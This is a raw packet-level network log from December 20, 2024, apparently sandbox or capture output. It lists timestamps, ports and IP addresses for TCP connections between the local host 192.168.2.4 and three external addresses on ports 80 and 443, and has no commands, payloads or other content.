Dec 20, 2024 04:12:12.040661097 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.040725946 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.040776014 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.041810036 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.041865110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.041912079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.041959047 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.043000937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.043051958 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.043118954 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.043168068 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.044208050 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.044259071 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.044344902 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.044393063 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.045366049 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.045420885 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.045494080 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.045540094 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.046581984 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.046633005 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.046705961 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.046755075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.047770023 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.047821999 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.047884941 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.047934055 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.048952103 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.049001932 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.049068928 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.049117088 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.050178051 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.050226927 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.050307035 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.050354958 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.051348925 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.051403046 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.051414967 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.051462889 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.052521944 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.052573919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.052629948 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.052679062 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.053699970 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.053750992 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.053824902 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.053874969 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.054955006 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.055005074 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.055124998 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.055174112 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.056072950 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.056123972 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.056179047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.056227922 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.057259083 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.057312012 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.057374954 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.057424068 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.058487892 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.058537006 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.058604002 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.058650970 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.059636116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.059686899 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.059743881 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.059792042 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.060848951 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.060904026 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.060916901 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.060964108 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.062006950 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.062061071 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.062167883 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.062218904 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.063198090 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.063251972 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.063297987 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.063348055 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.064436913 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.064490080 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.064546108 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.064600945 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.065593004 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.065643072 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.065701962 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.065751076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.066777945 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.066829920 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.066875935 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.066932917 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.067948103 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.068005085 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.068065882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.068114996 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.069143057 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.069216013 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.069245100 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.069287062 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.070353031 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.070405960 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.070452929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.070499897 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.071516037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.071582079 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.071629047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.071681976 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.072688103 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.072740078 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.072794914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.072844028 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.073873997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.073929071 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.073988914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.074039936 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.075087070 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.075138092 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.075187922 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.075237036 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.076260090 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.076308966 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.076366901 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.076421022 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.077502012 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.077547073 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.077574015 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.077619076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.078644037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.078700066 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.078751087 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.078800917 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.079773903 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.079826117 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.209642887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.209727049 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.209764004 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.209824085 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.210215092 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.210273981 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.210333109 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.210382938 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.329631090 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.329658985 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.329670906 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.329700947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.329720974 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.329726934 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.329775095 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449223042 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449234009 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449239969 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449244976 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449249983 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449256897 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449261904 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449266911 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449271917 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449276924 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449281931 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449287891 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449292898 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449297905 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449459076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449493885 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449506044 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449513912 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449556112 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449652910 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449664116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449672937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449682951 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449692965 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449702978 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449712038 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449721098 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449722052 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449732065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449742079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449752092 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449757099 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449763060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.449804068 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.449831963 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.450596094 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450607061 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450617075 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450627089 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450638056 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450649023 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450659037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450663090 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.450670958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450681925 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450692892 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450704098 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.450705051 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450716019 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450726986 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450737000 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.450737000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.450773954 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.450795889 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.451359034 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.451371908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.451381922 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.451423883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.451456070 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:14.639843941 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:14.640485048 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:14.759680033 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:14.759747982 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:14.760015965 CET	80	49781	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:14.760075092 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:14.760447979 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:14.879910946 CET	80	49781	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:16.094089031 CET	80	49781	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:16.094157934 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:16.096048117 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:16.096406937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:16.216804028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:16.216886044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:16.216937065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:16.217020035 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:16.225372076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:16.344782114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:16.404325962 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:16.404387951 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:16.404489994 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:16.407793999 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:16.407826900 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:17.540195942 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540268898 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540282965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540293932 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540328026 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540328026 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540407896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540417910 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540445089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540455103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540468931 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540482044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540491104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540537119 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540575981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540611982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.540632010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540642023 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.540700912 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.639158964 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:17.639278889 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:17.640824080 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:17.640845060 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:17.641187906 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:17.659822941 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.659848928 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.659903049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.663959980 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.664011002 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.684113026 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:17.684165001 CET	49788	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:17.684540987 CET	443	49788	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:17.732213974 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.732280016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.732299089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.732336044 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.736391068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.736442089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.736490965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.736531973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.744752884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.744798899 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.744846106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.744890928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.753153086 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.753223896 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.753253937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.753293037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.761585951 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.761651039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.761708021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.761750937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.769875050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.769923925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.769984007 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.770032883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.778218985 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.778261900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.778321028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.778362036 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.786622047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.786670923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.786711931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.786746979 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.794990063 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.795042038 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.795084000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.795123100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.802773952 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.802786112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.802848101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.802932024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.810206890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.810261011 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.810317993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.810364962 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.851803064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.851882935 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.851902962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.851959944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.924312115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.924485922 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.924576998 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.926724911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.926830053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.926887035 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.931552887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.931673050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.931730032 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.936429024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.936532974 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.936585903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.941318035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.941503048 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.941565037 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.945962906 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.946055889 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.946118116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.950603962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.950630903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.950690985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.955276966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.955379009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.955442905 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.959918022 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.959973097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.960012913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.960061073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:17.964582920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:17.964703083 CET	80	49783	31.41.244.11	192.168.2.4
